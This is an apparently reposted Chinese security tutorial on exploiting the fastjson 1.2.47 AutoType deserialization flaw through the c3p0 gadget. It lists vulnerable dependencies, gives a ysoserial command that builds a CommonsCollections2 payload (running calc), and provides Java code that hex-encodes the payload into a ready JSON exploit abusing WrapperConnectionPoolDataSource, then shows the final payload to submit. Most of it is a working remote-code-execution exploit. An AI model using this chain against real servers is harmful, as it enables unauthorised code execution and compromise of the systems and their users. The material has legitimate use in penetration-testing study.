fastjson <=1.2.47 c3p0 利用

经常有学员问到fastjson c3p0 怎么利用

 在 fastjson 漏洞利用中，c3p0 依赖通常用于 AutoType 相关的反序列化攻击。例如，攻击者可以利用 fastjson 解析 JSON 数据时的 AutoType 机制，加载 c3p0 的恶意类（如 com.mchange.v2.c3p0.impl.PoolBackedDataSource）来执行任意代码。  

环境 

 springboot   java版本 jdk8 202 

      <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.47</version>
        </dependency>

        <dependency>
            <groupId>com.mchange</groupId>
            <artifactId>c3p0</artifactId>
            <version>0.9.5.2</version>
        </dependency>
        <dependency>
            <groupId>org.apache.commons</groupId>
            <artifactId>commons-collections4</artifactId>
            <version>4.0</version>
        </dependency>

使用 ysoserial 生成恶意的序列化文件

下载地址 https://github.com/frohoff/ysoserial

java -jar ysoserial-all.jar CommonsCollections2 "cmd /c calc"> ser.bin

攻击payload代码 

原理是读取ser.bin文件 转换成hex  拼接成字符串 

import com.alibaba.fastjson.JSON;
import com.mchange.lang.ByteUtils;
import com.mchange.v2.c3p0.WrapperConnectionPoolDataSource;

import java.io.*;
import java.util.Arrays;

public class C3P0Test {
    public static void main(String[] args) throws IOException, ClassNotFoundException {
        InputStream in = new FileInputStream("ser.bin");
        byte[] data = toByteArray(in);
        in.close();
        String HexString = bytesToHexString(data, data.length);
        System.out.println(HexString);
        String poc ="{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:"+HexString+";"}}";
        System.out.println(poc);

    }

    public static byte[] toByteArray(InputStream in) throws IOException {
        byte[] classBytes;
        classBytes = new byte[in.available()];
        in.read(classBytes);
        in.close();
        return classBytes;
    }

    public static String bytesToHexString(byte[] bArray, int length) {
        StringBuffer sb = new StringBuffer(length);

        for(int i = 0; i < length; ++i) {
            String sTemp = Integer.toHexString(255 & bArray[i]);
            if (sTemp.length() < 2) {
                sb.append(0);
            }

            sb.append(sTemp.toUpperCase());
        }
        return sb.toString();
    }
}

如图 

生成的攻击payload

{"e":{"@type":"java.lang.Class","val":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"},"f":{"@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource","userOverridesAsString":"HexAsciiSerializedMap:攻击的hex值;"}}

提交进行利用

参考 

https://xz.aliyun.com/news/11938

原文始发于微信公众号（moonsec）：fastjson <=1.2.47 c3p0 利用